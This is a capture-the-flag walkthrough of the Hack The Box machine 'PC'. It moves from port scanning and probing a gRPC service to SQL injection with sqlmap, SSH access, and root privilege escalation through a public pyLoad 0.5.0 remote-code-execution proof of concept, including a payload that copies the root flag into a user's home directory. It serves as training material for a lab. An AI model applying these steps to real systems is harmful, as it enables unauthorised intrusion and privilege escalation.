HTB - PC Writeup

# Welcome to our official writeup for the new HTB Challenge, PC. Brought to you by the staff at SSH.
# Author: Hunter J. at Secure Study Habitat
# Date: May 22, 2023
# This writeup is subject property of Secure Study Habitat. DO not distribute without EXPLICIT permission.

# Let's get right into it.

We'll start with an NMAP scan.

```
nmap -Pn -sC -sV -v 10.129.228.47
```

```
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-22 19:27 EDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 19:27
Completed NSE at 19:27, 0.00s elapsed
Initiating NSE at 19:27
Completed NSE at 19:27, 0.00s elapsed
Initiating NSE at 19:27
Completed NSE at 19:27, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 19:27
Completed Parallel DNS resolution of 1 host. at 19:27, 0.00s elapsed
Initiating SYN Stealth Scan at 19:27
Scanning 10.129.228.47 [1000 ports]
Discovered open port 22/tcp on 10.129.228.47
Completed SYN Stealth Scan at 19:27, 5.89s elapsed (1000 total ports)
Initiating Service scan at 19:27
Scanning 1 service on 10.129.228.47
Completed Service scan at 19:27, 0.08s elapsed (1 service on 1 host)
NSE: Script scanning 10.129.228.47.
Initiating NSE at 19:27
Completed NSE at 19:28, 5.09s elapsed
Initiating NSE at 19:28
Completed NSE at 19:28, 0.00s elapsed
Initiating NSE at 19:28
Completed NSE at 19:28, 0.00s elapsed
Nmap scan report for 10.129.228.47
Host is up (0.039s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

So our scan only found Port 22 open. That's irregular. Typically itll have more than 1 open. Let's scan all ports and see what we find.

```
nmap -Pn -sC -sV -v -T4 -p- 10.129.228.47
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-22 19:31 EDT
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 19:31
Completed NSE at 19:31, 0.00s elapsed
Initiating NSE at 19:31
Completed NSE at 19:31, 0.00s elapsed
Initiating NSE at 19:31
Completed NSE at 19:31, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 19:31
Completed Parallel DNS resolution of 1 host. at 19:31, 0.00s elapsed
Initiating SYN Stealth Scan at 19:31
Scanning 10.129.228.47 [65535 ports]
Discovered open port 22/tcp on 10.129.228.47
SYN Stealth Scan Timing: About 21.90% done; ETC: 19:33 (0:01:51 remaining)
SYN Stealth Scan Timing: About 57.47% done; ETC: 19:32 (0:00:45 remaining)
Discovered open port 50051/tcp on 10.129.228.47
Completed SYN Stealth Scan at 19:32, 89.56s elapsed (65535 total ports)
Initiating Service scan at 19:32
Scanning 2 services on 10.129.228.47
Completed Service scan at 19:32, 8.34s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.228.47.
Initiating NSE at 19:32
Completed NSE at 19:32, 5.09s elapsed
Initiating NSE at 19:32
Completed NSE at 19:32, 0.08s elapsed
Initiating NSE at 19:32
Completed NSE at 19:32, 0.00s elapsed
Nmap scan report for 10.129.228.47
Host is up (0.036s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 91bf44edea1e3224301f532cea71e5ef (RSA)
|   256 8486a6e204abdff71d456ccf395809de (ECDSA)
|_  256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
50051/tcp open  unknown
```

Okay here we go, we found another port. Honestly I'm not too familiar with whatever this port is used for. Gonna ask uncle google.

So at first glance, it says it's for DBApp listening messages (UDP). DBApp is the Crestron Virtual Control interface into the MariaDB Database.

I also see quite a few mentions of gRPC. What is gRPC? After a little research, it seems to be a framework. Moreso an

API of sorts.

Let's see if we can communicate with the instance running on the box on port 50051. We'll download and run grpcui. To do this we'll download the application from this repo: https://github.com/fullstorydev/grpcui/releases/download/v1.3.1/grpcui_1.3.1_linux_x86_64.tar.gz

After we download that file we'll unzip it with tar command:
```tar -xvf grpcui_1.3.1_linux_x86_64.tar.gz -C <output directory>```

Check and make sure that after you extract the file you check to see if grpcui is executable by running ```ls -la''' in the dir you just extracted to and making sure it has a +x

Now let's run the program.

```./grpcui -plaintext <HTB instance IP>:50051```

Here we go! The app is running and we have our UI to interact with. First thing I see is the service name and the 3 method names being Login, Register, and get info. Let's try to login with dummy creds.

admin, admin seems to have worked. I have an ID and token. Let's use getinfo and do some digging.

After some thought, I realized I could just capture the request in burp and run it through SQLmap.

To do this, we will pass in the ID and token and capture the requst then right click and save item and save it as such *.req (req being a request file).

Now to run it through SQLmap we'll use the following:

```
sqlmap -r *.req --dump
```

Answer throught the questions and it will show you your password and user.

Now we can SSH to sau with that password.

Sweet, we got a shell.

First thing I tried was sudo -l to see permissions, but it's not allowed.

Let's run ‘netstat -plunt’ to view running services. As we can see there is a service on port 8000 which looks interesting. Let's curl that with the following command and see what we get.

```
curl localhost:8000 -v
```

```
curl localhost:8000 -v
*   Trying 127.0.0.1:8000...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 8000 (#0)
> GET / HTTP/1.1
> Host: localhost:8000
> User-Agent: curl/7.68.0
> Accept: */*
```

```
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 FOUND
< Content-Type: text/html; charset=utf-8
< Content-Length: 275
< Location: /login?next=http%3A%2F%2Flocalhost%3A8000%2F
< Vary: Accept-Encoding
< Date: Fri, 26 May 2023 17:09:07 GMT
< Server: Cheroot/8.6.0
<
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?
next=http%3A%2F%2Flocalhost%3A8000%2F">/login?next=http%3A%2F%2Flocalhost%3A8000%2F</a>. If
not, click the link.
* Connection #0 to host localhost left intact
```

First thing I see is there's a server type: Cheroot and there's a redirect to /login on the port. Let's port forward port 8000 to our local machine and take a look at that.

ssh -L 8081:localhost:8000 sau@<boxip> . This will redirect port 8000 on the box to the port of our choosing. In this case I choose 8081.

Let's check it out by going to our browser and going to http://localhost:8081/login

Soooo PyLoad? What's that? I'm assuming that itself is running on the box. Let's go check.

I ran the command 'whereis pyload' and we get /usr/local/bin/pyload. Check the perms with ls -la /usr/local/bin/pyload. As we can see it's owned by root

pyload --help then do pyload --version. The version running is 0.5.0 . Let's ask uncle google about this.

https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/

Came across this link regarding RCE for the pyload version which includes a POC or Proof of Concept.

As we can see, running the mentioned payload POC worked when checking our /tmp/ Directory and we see "pwnd". Let's run the same command but capture it in burp.

Once captured in Burp, we can highlight the encoded payload, right click, and send to decoder. Here we will decode as base64 then edit our payload to say something like this:

cat /root/root.txt > /home/sau/root.txt & chmod 777 /home/sau/root.txt

Once we edit the payload we will re-encode it back to url and paste it in the request. Also note, for good practice, send the original request to the repeater so that if you accidently mess up it's an easy fix instead of capturing the request again. (Yes it's easy to go back and do it, but it's not ideal. Just building good habits here.)

This payload will cat the flag and store it in a root.txt file which is stored in /home/sau then we will chmod the file so we can read it as an no-priv user like sau.

With this we'll run the following:

```
cat /home/sau/root.txt
```

OR

```
cd /home/sau/ & cat root.txt
```

And there you have it. Successful PE to root.